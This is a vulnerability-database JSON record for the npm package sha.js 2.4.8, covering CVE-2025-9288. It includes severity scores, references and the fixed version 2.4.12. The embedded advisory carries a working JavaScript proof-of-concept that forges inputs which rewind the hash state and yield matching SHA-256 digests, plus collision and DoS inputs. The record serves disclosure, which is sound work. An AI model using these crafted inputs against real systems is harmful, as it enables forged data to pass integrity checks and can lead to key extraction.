{"url":"http://public2.vulnerablecode.io/api/packages/793140?format=json","purl":"pkg:npm/sha.js@2.4.8","type":"npm","namespace":"","name":"sha.js","version":"2.4.8","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"2.4.12","latest_non_vulnerable_version":"2.4.12","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/28196?format=json","vulnerability_id":"VCID-eraj-dyxs-xkfd","summary":"sha.js is missing type checks leading to hash rewind and passing on crafted data\n### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n  const hash = sha('sha256')\n  messages.forEach((m) => hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n> require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9288.json","reference_id":"","reference_type":"","scores":[{"value":"7.7","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9288.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-9288","reference_id":"","reference_type":"","scores":[{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13603","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13778","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13741","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13692","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13682","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13673","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13599","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13875","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13677","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.13819","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.1376","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00045","scoring_system":"epss","scoring_elements":"0.1381","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00049","scoring_system":"epss","scoring_elements":"0.15177","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00049","scoring_system":"epss","scoring_elements":"0.1512","published_at":"2026-04-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-9288"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9288","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9288"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/browserify/sha.js","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/browserify/sha.js"},{"reference_url":"https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5"},{"reference_url":"https://github.com/browserify/sha.js/pull/78","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-21T13:25:33Z/"}],"url":"https://github.com/browserify/sha.js/pull/78"},{"reference_url":"https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-21T13:25:33Z/"}],"url":"https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9288","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9288"},{"reference_url":"https://www.cve.org/CVERecord?id=CVE-2025-9287","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"9.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-21T13:25:33Z/"}],"url":"https://www.cve.org/CVERecord?id=CVE-2025-9287"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111769","reference_id":"1111769","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111769"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2389980","reference_id":"2389980","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2389980"},{"reference_url":"https://github.com/advisories/GHSA-95m3-7q98-8xr5","reference_id":"GHSA-95m3-7q98-8xr5","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-95m3-7q98-8xr5"},{"reference_url":"https://access.redhat.com/errata/RHSA-2025:14474","reference_id":"RHSA-2025:14474","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2025:14474"},{"reference_url":"https://access.redhat.com/errata/RHSA-2025:14767","reference_id":"RHSA-2025:14767","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2025:14767"},{"reference_url":"https://access.redhat.com/errata/RHSA-2025:15847","reference_id":"RHSA-2025:15847","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2025:15847"},{"reference_url":"https://access.redhat.com/errata/RHSA-2025:16020","reference_id":"RHSA-2025:16020","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2025:16020"},{"reference_url":"https://access.redhat.com/errata/RHSA-2025:18278","reference_id":"RHSA-2025:18278","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2025:18278"},{"reference_url":"https://access.redhat.com/errata/RHSA-2025:18744","reference_id":"RHSA-2025:18744","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2025:18744"},{"reference_url":"https://access.redhat.com/errata/RHSA-2025:22905","reference_id":"RHSA-2025:22905","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2025:22905"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:3710","reference_id":"RHSA-2026:3710","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:3710"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:3712","reference_id":"RHSA-2026:3712","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:3712"},{"reference_url":"https://usn.ubuntu.com/7778-1/","reference_id":"USN-7778-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7778-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/69814?format=json","purl":"pkg:npm/sha.js@2.4.12","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/sha.js@2.4.12"}],"aliases":["CVE-2025-9288","GHSA-95m3-7q98-8xr5"],"risk_score":4.5,"exploitability":"0.5","weighted_severity":"9.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-eraj-dyxs-xkfd"}],"fixing_vulnerabilities":[],"risk_score":"4.5","resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/sha.js@2.4.8"}